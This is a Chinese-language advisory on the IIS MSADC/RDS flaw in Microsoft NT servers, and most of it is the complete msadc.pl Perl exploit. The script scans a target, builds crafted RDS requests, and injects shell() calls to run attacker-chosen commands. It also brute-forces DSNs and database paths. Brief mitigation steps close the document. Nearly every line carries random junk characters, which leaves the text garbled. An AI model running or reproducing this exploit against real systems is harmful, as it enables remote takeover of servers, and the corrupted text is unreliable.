IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Pe3o;mx &Au@S$ij 涉及程序:
2<}%kQ` Microsoft NT server
L~N460 h<<v^+m 描述:
IW] rb/H 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ysY*k` 5 lL0APT; 详细:
IJcsmNWm 如果你没有时间读详细内容的话,就删除:
\qJXF|z<K c:\Program Files\Common Files\System\Msadc\msadcs.dll
d8P^lv*rQW 有关的安全问题就没有了。
|P?*5xPB AFwdJte9e 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
uQKT ;
BHtCuY 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
-aCKRN85 关于利用ODBC远程漏洞的描述,请参看:
O?#7N[7 b@hqz!)l` http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm '!B&:X) J5,9_uo] 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
7s^'d,P http://www.microsoft.com/security/bulletins/MS99-025faq.asp X 0+vXz{~g {]4LULq 这里不再论述。
sK?twg;D*| l+0oS'`V*L 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
BnF^u5kv % I{=Qtnlb /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
Nu)NqFG, 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
=Nr-iae# g*+>H1} N4TV #将下面这段保存为txt文件,然后: "perl -x 文件名"
(X*^dO MkXmA`cP #!perl
8'y$M] e9n #
0?|<I{z2 # MSADC/RDS 'usage' (aka exploit) script
*.w9c #
Z6MO^_m2 # by rain.forest.puppy
!0<,@v" #
44j*KsBf # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
SiN0OB # beta test and find errors!
]u/sphPe h^P#{W!e\ use Socket; use Getopt::Std;
)Hr`MB getopts("e:vd:h:XR", \%args);
YKK*ER0 &s!@29DXR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
aV0"~5 ]\HvK CN} if (!defined $args{h} && !defined $args{R}) {
b4Ekqas print qq~
%JTpI` Usage: msadc.pl -h <host> { -d <delay> -X -v }
+D*Z_Yh6 -h <host> = host you want to scan (ip or domain)
>9Vn.S -d <seconds> = delay between calls, default 1 second
}4X0epPp;: -X = dump Index Server path table, if available
]7c=PC -v = verbose
R`-S/C -e = external dictionary file for step 5
-jmY)(\ zX i'kB Or a -R will resume a command session
A?OQE9' &_8947 ~; exit;}
T6$+hUM$1 <(#ej4ar, $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~v6D#@%A if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
|CbikE}kL if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
@BMx!r5kn if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
goWuw}? $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\cM2k- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
lr&a;aZp V>rU.Mp
QU if (!defined $args{R}){ $ret = &has_msadc;
AFt s( die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%E;'ln4h&, Qn2&nD%zi print "Please type the NT commandline you want to run (cmd /c assumed):\n"
buHJB*?9 . "cmd /c ";
$3kH~3{] $in=<STDIN>; chomp $in;
7F~X,Dk_ $command="cmd /c " . $in ;
<9b&<K: es0hm2HT3 if (defined $args{R}) {&load; exit;}
sV*H`N')S hOK8(U0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
n~Lt\K: &try_btcustmr;
]T) 'Hb _DEjF)S print "\nStep 2: Trying to make our own DSN...";
[()koU#w. &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
7F.4Ga; .*Qx\, print "\nStep 3: Trying known DSNs...";
>^{yF~( &known_dsn;
j_j]"ew) j B{8u&kz) print "\nStep 4: Trying known .mdbs...";
>=w)x,0yX &known_mdb;
9+!hg'9Qn :[d9tm if (defined $args{e}){
/G`]=@~ print "\nStep 5: Trying dictionary of DSN names...";
ZWm6eD &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
xN'I/@ kb a?oI>8* print "Sorry Charley...maybe next time?\n";
&uVnZ@o42 exit;
hXya*#n# 5#z1bu ##############################################################################
ZYNsHcTY M
D#jj3y sub sendraw { # ripped and modded from whisker
AQ^u sleep($delay); # it's a DoS on the server! At least on mine...
+
>!;i6| my ($pstr)=@_;
b\,+f n socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
q ZZK#,Qb die("Socket problems\n");
i"=\d if(connect(S,pack "SnA4x8",2,80,$target)){
K:WDl;8(d select(S); $|=1;
62NsJ<#> print $pstr; my @in=<S>;
b#o|6HkW select(STDOUT); close(S);
]/{)bpu return @in;
q1ma%eiN } else { die("Can't connect...\n"); }}
Zj
Z^_X3 iU:cW=W|M\ ##############################################################################
?\n>
AC \
B%+fw sub make_header { # make the HTTP request
V28M lP my $msadc=<<EOT
yIE!j%u POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
z0Z%m@ User-Agent: ACTIVEDATA
7-V/RChBm Host: $ip
!p/goqT~dY Content-Length: $clen
.jK4?}] Connection: Keep-Alive
tT._VK]o&R Ew$C
;&9 ADCClientVersion:01.06
*yGGBqd Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
5`_SN74o qcRs$-J --!ADM!ROX!YOUR!WORLD!
f?)-}\[IR{ Content-Type: application/x-varg
@E8+C8' Content-Length: $reqlen
HE\K@3- [_:nHZb EOT
)YI(/*+] ; $msadc=~s/\n/\r\n/g;
A?0Nm{O;3v return $msadc;}
O33`+UV"W &9>vl* ##############################################################################
%]7d`/ 2t1ZIyv3D sub make_req { # make the RDS request
Kf-JcBsrT my ($switch, $p1, $p2)=@_;
7x8
yxE my $req=""; my $t1, $t2, $query, $dsn;
|&4/n6;P$0 MfkN]\Jyw if ($switch==1){ # this is the btcustmr.mdb query
YHl;flv $query="Select * from Customers where City=" . make_shell();
o,wUc"CE $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
:MDKC /mC $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
@KUWxFak IUct elsif ($switch==2){ # this is general make table query
EBmt9S $query="create table AZZ (B int, C varchar(10))";
nT)vNWT= $dsn="$p1";}
EEL,^3KR iam1V)V elsif ($switch==3){ # this is general exploit table query
LXCx~;{\
$query="select * from AZZ where C=" . make_shell();
{7pli{` $dsn="$p1";}
D3K8F@d 3
8`<:{^Y elsif ($switch==4){ # attempt to hork file info from index server
xd0 L{ue. $query="select path from scope()";
]]Ufas9 $dsn="Provider=MSIDXS;";}
%N_%JK\{@ {f p[BF elsif ($switch==5){ # bad query
^dxTm1Z $query="select";
8a"%0d# $dsn="$p1";}
xe$_aBU ft
Wv~Eh $t1= make_unicode($query);
EB|}fz $t2= make_unicode($dsn);
S5EK~#-L[ $req = "\x02\x00\x03\x00";
?Ss!e$jf $req.= "\x08\x00" . pack ("S1", length($t1));
]J]h#ZHx $req.= "\x00\x00" . $t1 ;
PmM3]xVzd $req.= "\x08\x00" . pack ("S1", length($t2));
kAGBdaJ" $req.= "\x00\x00" . $t2 ;
Jfl!#UAD|n $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
+qdEq_m return $req;}
<=C?e<Y @=f\<"$vt ##############################################################################
3irl
(;v '/%H3A#L sub make_shell { # this makes the shell() statement
H" 7u7l return "'|shell(\"$command\")|'";}
k~z Iy;AZ g#E-pdY ##############################################################################
pI<f) r l}M!8:UzU sub make_unicode { # quick little function to convert to unicode
1m0c|ckb my ($in)=@_; my $out;
Z<{QaY$" for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
dUdT7ixo return $out;}
_PR4`C* )Xyn
q( ##############################################################################
Yz)qcU J<lO=
+mg sub rdo_success { # checks for RDO return success (this is kludge)
oe~b}: my (@in) = @_; my $base=content_start(@in);
f(7GX3? if($in[$base]=~/multipart\/mixed/){
P0jtp7)7 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Fv`,3aNB return 0;}
6;5Ss?ep iDrZc
##############################################################################
Q=yg8CQ ;YL i{ sub make_dsn { # this makes a DSN for us
Z;)%%V%o my @drives=("c","d","e","f");
h2J
x]FJ print "\nMaking DSN: ";
BING{ew foreach $drive (@drives) {
El"Q'(:/U print "$drive: ";
zT-_5uZQ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
?=pT7M "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Yc*;/T} . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
K\c#ig $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
BTrn0 return 0 if $2 eq "404"; # not found/doesn't exist
,UE83j8D^ if($2 eq "200") {
P=G3:eX foreach $line (@results) {
uWE^hz" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
aC)!T } return 0;}
8, >P )whA<lC ##############################################################################
A&jlizN7 E8&TO~"a]e sub verify_exists {
,
++ `=o my ($page)=@_;
ufT`"i my @results=sendraw("GET $page HTTP/1.0\n\n");
!jR=pI fq return $results[0];}
+^T@sa`[I SByW[JE ##############################################################################
@U}1EC{A ;,e2egC' sub try_btcustmr {
BIL Lq8) my @drives=("c","d","e","f");
jWfa;&Ra my @dirs=("winnt","winnt35","winnt351","win","windows");
u\JNr}bL Nda *L| foreach $dir (@dirs) {
_zMW=nypdx print "$dir -> "; # fun status so you can see progress
xKp4*[}m foreach $drive (@drives) {
m`r(p" print "$drive: "; # ditto
3=ymm^ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
u> 7=AlWF- $reqlenlen=length( "$reqlen" );
VyGJ=[ ] $clen= 206 + $reqlenlen + $reqlen;
N ZSSg2TX# UFuX@Lu0 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
bA->{OPkT if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
45>?o else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
/&94 eC sD wqH.L ##############################################################################
lHX72s|V b;UJ 88 sub odbc_error {
b|W=pSTY my (@in)=@_; my $base;
$E.I84UfX my $base = content_start(@in);
N87B8rDl if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
?FcAXA/J{ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
cExS7~* $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
*;*r8[U}q $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
rw
#$lP return $in[$base+4].$in[$base+5].$in[$base+6];}
-3Vx76Y print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
d6 5L!4 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
'!$Rw"K. $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
c!9nnTap V "h
+L7T ##############################################################################
@;RXLq/8 V~5jfcd sub verbose {
aw42oLk my ($in)=@_;
}`~+]9< return if !$verbose;
^J;bso` print STDOUT "\n$in\n";}
}pu27F)& LFtt gY ##############################################################################
%bfQ$a: <UQbt N-B\ sub save {
'."ed%=MC my ($p1, $p2, $p3, $p4)=@_;
3$9W%3 open(OUT, ">rds.save") || print "Problem saving parameters...\n";
HA>OkA/ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
n7-6-
# close OUT;}
<e</m)j y
h9*z3 ##############################################################################
9qG6Pb BF{Y"8u$ sub load {
b1?'gn~ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S|`o]?nc> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
dlTt_. @p=<IN>; close(IN);
) hfpwdQ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
oM`0y@QCf $target= inet_aton($ip) || die("inet_aton problems");
L/G6Fjg^ print "Resuming to $ip ...";
~IN>3\j $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
c\ l kD-\ if($p[1]==1) {
@J`"[%U $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
Q$@I"V&G. $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
*bA.zmzM my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
"1M[5\Ax if (rdo_success(@results)){print "Success!\n";}
V6reqEh else { print "failed\n"; verbose(odbc_error(@results));}}
R/z=p_6p7` elsif ($p[1]==3){
6j LCU%^ if(run_query("$p[3]")){
9mTJ|sN:e print "Success!\n";} else { print "failed\n"; }}
hZ elsif ($p[1]==4){
v^ VitLC if(run_query($drvst . "$p[3]")){
:G%61x&=Zc print "Success!\n"; } else { print "failed\n"; }}
$ gS>FJ exit;}
}Kbb4]t|" B,epzI ##############################################################################
v
z '&%( 0.k7oB;f(@ sub create_table {
7%eK37@u my ($in)=@_;
SKsKPqz $reqlen=length( make_req(2,$in,"") ) - 28;
wD'SPk5S? $reqlenlen=length( "$reqlen" );
Z}Ft:7 $clen= 206 + $reqlenlen + $reqlen;
DN5 7p!z my @results=sendraw(make_header() . make_req(2,$in,""));
o:Sa,
!DK return 1 if rdo_success(@results);
Z@PmM4F@S my $temp= odbc_error(@results); verbose($temp);
+!.^zp21 return 1 if $temp=~/Table 'AZZ' already exists/;
F@B]et7 return 0;}
?+}_1x` 'AS|ZRr/ ##############################################################################
b2&0Hx vnZC,J ` sub known_dsn {
U|Ta4W`k\ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
[:SWi1cK2 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
<l E<f+ "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
]|PiF+ "banner", "banners", "ads", "ADCDemo", "ADCTest");
_^%,x n]o<S+z foreach $dSn (@dsns) {
vT,AMja print ".";
q6V>zi next if (!is_access("DSN=$dSn"));
QX'qyojxN if(create_table("DSN=$dSn")){
vuY~_ print "$dSn successful\n";
5uj?#)N if(run_query("DSN=$dSn")){
CN8Y\<Ar print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
*mvlb
(' & print "Something's borked. Use verbose next time\n";}}} print "\n";}
H*'IK'O l?n\i]' ##############################################################################
JO6)-U$7UG |imM#wF sub is_access {
hy"\RW my ($in)=@_;
}*pi<s $reqlen=length( make_req(5,$in,"") ) - 28;
<k'h:KB?` $reqlenlen=length( "$reqlen" );
:(*V?WI $clen= 206 + $reqlenlen + $reqlen;
a'yK~;+_9 my @results=sendraw(make_header() . make_req(5,$in,""));
ML56k~"BL my $temp= odbc_error(@results);
dk4CpN verbose($temp); return 1 if ($temp=~/Microsoft Access/);
VY=jc~c]v return 0;}
h^(*Tv-! dn$!& ##############################################################################
z/2//mM DAr1C+Dy
sub run_query {
'$]97b7G my ($in)=@_;
>$/>#e~ $reqlen=length( make_req(3,$in,"") ) - 28;
O) n~](sC\ $reqlenlen=length( "$reqlen" );
9gK`E $clen= 206 + $reqlenlen + $reqlen;
y(yHt=r my @results=sendraw(make_header() . make_req(3,$in,""));
HJ[c M6$2 return 1 if rdo_success(@results);
O:{~urV my $temp= odbc_error(@results); verbose($temp);
9w"4K. return 0;}
1JG'%8}#8 L2i_X@/ ##############################################################################
~YWQ2] wIaony sub known_mdb {
=|y9UlsD my @drives=("c","d","e","f","g");
j[J-f@F \Y my @dirs=("winnt","winnt35","winnt351","win","windows");
E,x+JeKV my $dir, $drive, $mdb;
wc^tgE my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
r1{@Ucw2 ">,|V-H # this is sparse, because I don't know of many
ag;pN*z my @sysmdbs=( "\\catroot\\icatalog.mdb",
czgO ;3-C "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"
9wvPC ^ "\\system32\\certmdb.mdb",
Ww+IWW@ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Ad9}9!< x,pjpx my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
l'E*=Rn "\\cfusion\\cfapps\\forums\\forums_.mdb",
paE[rS\ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
3J|F?M"N7 "\\cfusion\\cfapps\\security\\realm_.mdb",
}?_?V&K| "\\cfusion\\cfapps\\security\\data\\realm.mdb",
4-y:/8 "\\cfusion\\database\\cfexamples.mdb",
By",rD- r "\\cfusion\\database\\cfsnippets.mdb",
:v&$o'Sak "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
|a`Sc% "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
u$Jz~:=, "\\cfusion\\brighttiger\\database\\cleam.mdb",
6@F9G4<Z "\\cfusion\\database\\smpolicy.mdb",
sW'AjI "\\cfusion\\database\cypress.mdb",
17"uf.G "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
u5b|#&-mX "\\website\\cgi-win\\dbsample.mdb",
Y>dzR)~3[ "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
W ]?G}Q; "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
;~ $'2f~U ); #these are just
tOd&!HYL foreach $drive (@drives) {
-4IE]'## foreach $dir (@dirs){
+RM SA^ foreach $mdb (@sysmdbs) {
i0kak`x0 print ".";
A,Vu\3HS if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
ub#a` print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
CMG&7(MR if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
#3@rS print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
g-</ua(j } else { print "Something's borked. Use verbose next time\n"; }}}}}
DIfaVo/" ^]0Pfna+N foreach $drive (@drives) {
:tB1D@Cb6 foreach $mdb (@mdbs) {
c&?m>2^6 print ".";
/}fHt^2H if(create_table($drv . $drive . $dir . $mdb)){
8hz^%vm print "\n" . $drive . $dir . $mdb . " successful\n";
G kl71VX if(run_query($drv . $drive . $dir . $mdb)){
%i9E @EV print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
GxI!{oi2 } else { print "Something's borked. Use verbose next time\n"; }}}}
U}e!Wjrc }
S.94edQ K6/Q}W ##############################################################################
CR`Q#Yi RYQR(v sub hork_idx {
t?-n*9,#S print "\nAttempting to dump Index Server tables...\n";
5z8d}
I print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
b"uu $reqlen=length( make_req(4,"","") ) - 28;
P%:wAYz1^O $reqlenlen=length( "$reqlen" );
BxWPC#5
$clen= 206 + $reqlenlen + $reqlen;
HU8900k+ my @results=sendraw2(make_header() . make_req(4,"",""));
n,V[eW#m'L if (rdo_success(@results)){
c"n\cNP< my $max=@results; my $c; my %d;
F^t DL: for($c=19; $c<$max; $c++){
wc NOLUl $results[$c]=~s/\x00//g;
HJLG=mU $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
G )trG9 .a $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
gx8ouOh $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
k"T}2 7 $d{"$1$2"}="";}
Bs_s&a> foreach $c (keys %d){ print "$c\n"; }
T@:Wp4>69 } else {print "Index server doesn't seem to be installed.\n"; }}
9Zt`u,; ~ Ei $nV ##############################################################################
RK'\C\gMDu 9N%We|L,c sub dsn_dict {
n.`($yR_ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
h-#6av: while(<IN>){
p$NQyS5C"S $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
hOu3 bA next if (!is_access("DSN=$dSn"));
:0j?oY~e if(create_table("DSN=$dSn")){
,.83m%i print "$dSn successful\n";
LqoB 10Kc\ if(run_query("DSN=$dSn")){
+,TRfP
Fb print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@uqd.Q print "Something's borked. Use verbose next time\n";}}}
j9x<Y] print "\n"; close(IN);}
<;eW=HT+uq 1#V_Z^OL ##############################################################################
+j`5F3@ 3nIU1e sub sendraw2 { # ripped and modded from whisker
]Yn D sleep($delay); # it's a DoS on the server! At least on mine...
\=?a/ my ($pstr)=@_;
J{p1|+h% socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
6y%qVx#! die("Socket problems\n");
l6T-}h:= if(connect(S,pack "SnA4x8",2,80,$target)){
pXT4)JDpc print "Connected. Getting data";
^pAAzr"hv open(OUT,">raw.out"); my @in;
E"\<s3 select(S); $|=1; print $pstr;
%Q__!D[ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
xjuN- close(OUT); select(STDOUT); close(S); return @in;
xaq-.IQAM$ } else { die("Can't connect...\n"); }}
t9k zw*U9 N_kMK ##############################################################################
7u -p%eq2 Z58X5" sub content_start { # this will take in the server headers
(Ft+uuG my (@in)=@_; my $c;
(Du@ S for ($c=1;$c<500;$c++) {
Zw
26 if($in[$c] =~/^\x0d\x0a/){
IXMop7~ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
~rE|%o else { return $c+1; }}}
LvH4{B return -1;} # it should never get here actually
?yrX)3hyH vsCCB}7\ ##############################################################################
qOIyub q 6:dy sub funky {
Uu10)/.LC my (@in)=@_; my $error=odbc_error(@in);
U8s2|G;K if($error=~/ADO could not find the specified provider/){
!=*g@mgF print "\nServer returned an ADO miscofiguration message\nAborting.\n";
T]f ;km exit;}
?Ny9'g>? if($error=~/A Handler is required/){
9N#_(uwt print "\nServer has custom handler filters (they most likely are patched)\n";
a+[KI exit;}
G}9Jg if($error=~/specified Handler has denied Access/){
~WeM TXF>y print "\nServer has custom handler filters (they most likely are patched)\n";
CTB~Yj@d+ exit;}}
!1jBC.G1 $u$!tj ##############################################################################
)Ys x}vS Z vjbASFF0= sub has_msadc {
f
O}pj: my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
guq{#?} my $base=content_start(@results);
d\&U*= return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/kZebNf6H return 0;}
}Sm(]y z\\[S@>pt ########################
gD-d29pQ .9/hHCp ;V:i!u u 解决方案:
&&5aM 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
j"t(0m 2、移除web 目录: /msadc